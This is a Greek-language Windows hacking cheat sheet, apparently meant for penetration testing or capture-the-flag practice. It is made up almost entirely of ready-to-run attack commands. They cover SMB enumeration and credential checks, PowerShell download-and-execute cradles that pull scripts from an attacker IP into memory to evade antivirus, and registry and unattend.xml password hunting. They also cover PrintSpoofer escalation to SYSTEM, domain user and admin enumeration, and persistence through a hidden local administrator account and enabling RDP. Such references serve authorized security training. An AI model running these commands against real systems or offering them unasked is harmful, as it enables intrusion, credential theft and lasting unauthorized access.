Οδηγός Windows Hacking & Privilege Escalation

Μεθοδολογία, εντολές enumeration, token impersonation και Active Directory επιθέσεις.

📁 1. SMB Enumeration & Authentication

🤔 Πότε και γιατί το χρησιμοποιώ;

Το SMB (Θύρες 139/445) είναι η πιο κοινή πύλη εισόδου σε περιβάλλοντα Windows. Το χρησιμοποιούμε για να βρούμε κοινόχρηστους φακέλους (Shares) με δικαιώματα ανάγνωσης/εγγραφής ή για να ελέγξουμε εγκυρότητα διαπιστευτηρίων.

Απαρίθμηση Shares (Anonymous)
SMBClient
Ελέγχει ποιοι φάκελοι είναι προσβάσιμοι χωρίς κωδικό πρόσβασης (Null Session).
smbclient -L //[TARGET_IP] -N
Σύνδεση σε Συγκεκριμένο Share
SMBClient
Σύνδεση σε ένα share χρησιμοποιώντας συγκεκριμένο όνομα χρήστη και κωδικό.
smbclient //[TARGET_IP]/[SHARE_NAME] -U '[USER]%[PASSWORD]'
Έλεγχος Διαπιστευτηρίων στο Δίκτυο
CrackMapExec
Ελέγχει αν ένας κωδικός είναι έγκυρος και αν ο χρήστης είναι Administrator (Εμφανίζει Pwn3d!).
crackmapexec smb [TARGET_IP] -u '[USER]' -p '[PASSWORD]'

🔍 2. Windows Host Reconnaissance (Internal)

🤔 Πότε και γιατί το χρησιμοποιώ;

Μόλις αποκτήσουμε το πρώτο μας shell (π.χ. ως Network Service ή απλός χρήστης), πρέπει να καταλάβουμε την αρχιτεκτονική του συστήματος, την έκδοση του OS και τα δικαιώματά μας.

Έλεγχος Αρχιτεκτονικής Συστήματος
CMD
Επιστρέφει αν το λειτουργικό σύστημα είναι 32-bit ή 64-bit (Κρίσιμο για επιλογή exploits).
wmic os get osarchitecture
Πληροφορίες Συστήματος & OS Build
CMD
Εμφανίζει την ακριβή έκδοση των Windows, Hotfixes και Network Cards.
systeminfo
Έλεγχος Ειδικών Προνομίων (Privileges)
CMD
Η πιο σημαντική εντολή. Δείχνει αν έχουμε δικαιώματα όπως το SeImpersonatePrivilege.
whoami /priv

🚀 3. Αξιόπιστη Μεταφορά Αρχείων (File Transfers)

🤔 Πότε και γιατί το χρησιμοποιώ;

Στα Windows δεν υπάρχει η εντολή `wget` του Linux. Χρησιμοποιούμε το PowerShell για να κατεβάσουμε exploits από το δικό μας μηχάνημα επίθεσης.

Κατέβασμα Αρχείου μέσω PowerShell (WebClient)
PowerShell
Κατεβάζει ένα αρχείο από τον τοπικό σας Python server και το αποθηκεύει στα Windows.
powershell -c "$w = New-Object System.Net.WebClient; $w.DownloadFile('http://[YOUR_IP]/[FILE.EXE]', '[OUTPUT.EXE]')"
Φόρτωση Script απευθείας στη Μνήμη (In-Memory Execution)
PowerShell
Φορτώνει και εκτελεί ένα PowerShell script (.ps1) απευθείας στη μνήμη RAM χωρίς να γραφτεί στον δίσκο (Bypass AV).
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://[YOUR_IP]/[SCRIPT.PS1]')"

🔑 4. Local Looting & Passwords Hunting

🤔 Πότε και γιατί το χρησιμοποιώ;

Πολλές φορές οι διαχειριστές αφήνουν κωδικούς σε κοινή θέα. Ψάχνουμε στο Registry, σε αρχεία ρυθμίσεων (Unattended installs) ή αποθηκευμένα διαπιστευτήρια του συστήματος.

Αναζήτηση Κωδικών στο Registry
Registry
Ψάχνει σε όλο το Registry για κλειδιά που περιέχουν τη λέξη "password".
reg query HKLM /f password /t REG_SZ /s
Έλεγχος για Windows AutoLogon Credentials
Registry
Ελέγχει αν έχει ρυθμιστεί αυτόματη είσοδος χρήστη, η οποία αποθηκεύει τον κωδικό σε plain text.
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
Αναζήτηση Αρχείων Unattend.xml
CMD
Αρχεία αυτοματοποιημένης εγκατάστασης που συχνά περιέχουν Base64 ή plain text κωδικούς διαχειριστή.
dir /b /s unattend.xml

👑 5. Privilege Escalation (Token Impersonation & Services)

🤔 Πότε και γιατί το χρησιμοποιώ;

Όταν ο λογαριασμός μας έχει ενεργό το προνόμιο SeImpersonatePrivilege ή όταν υπάρχουν κακές ρυθμίσεις σε υπηρεσίες (Weak Service Permissions), ανεβαίνουμε σε SYSTEM.

PrintSpoofer (Windows Server 2016 / 2019)
Exploit
Εκμεταλλεύεται το Spooler service για να ανοίξει ένα νέο CMD παράθυρο ως SYSTEM.
PrintSpoofer64.exe -i -c cmd.exe
Έλεγχος Δικαιωμάτων Υπηρεσιών (Weak Permissions)
CMD
Χρησιμοποιεί το accesschk της Sysinternals για να δει αν ο απλός χρήστης μπορεί να τροποποιήσει κάποια υπηρεσία.
accesschk.exe -uwcqv "Everyone" *

🌐 6. Active Directory Basics & Domain Enumeration

🤔 Πότε και γιατί το χρησιμοποιώ;

Όταν το μηχάνημα-στόχος ανήκει σε εταιρικό δίκτυο (Domain), πρέπει να συλλέξουμε πληροφορίες για τον Domain Controller, τους χρήστες και τα groups του δικτύου.

Πληροφορίες για το Domain & Password Policy
CMD
Εμφανίζει το όνομα του Domain και τις ρυθμίσεις κωδικών (π.χ. πότε λήγουν, ελάχιστο μέγεθος).
net accounts
Λίστα Όλων των Χρηστών του Domain
CMD
Επικοινωνεί με τον Domain Controller και επιστρέφει όλους τους λογαριασμούς χρηστών του δικτύου.
net user /domain
Προβολή των Domain Administrators
CMD
Εμφανίζει ποιοι χρήστες έχουν τα απόλυτα δικαιώματα διαχειριστή σε όλο το δίκτυο.
net group "Domain Admins" /domain

🎯 7. Post-Exploitation & Πίσω Πόρτες (Persistence)

🤔 Πότε και γιατί το χρησιμοποιώ;

Αφού γίνουμε Administrators/SYSTEM, θέλουμε να εξασφαλίσουμε ότι δεν θα χάσουμε την πρόσβαση αν το μηχάνημα κάνει επανεκκίνηση ή αν κλείσει το shell μας.

Δημιουργία Νέου Χρήστη Διαχειριστή
Persistence
Προσθέτει έναν κρυφό χρήστη και τον βάζει στο group των τοπικών διαχειριστών.
net user [USERNAME] [PASSWORD] /add && net localgroup Administrators [USERNAME] /add
Ενεργοποίηση RDP (Remote Desktop)
CMD
Ενεργοποιεί την απομακρυσμένη επιφάνεια εργασίας μέσω του Registry σε περίπτωση που είναι κλειστή.
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f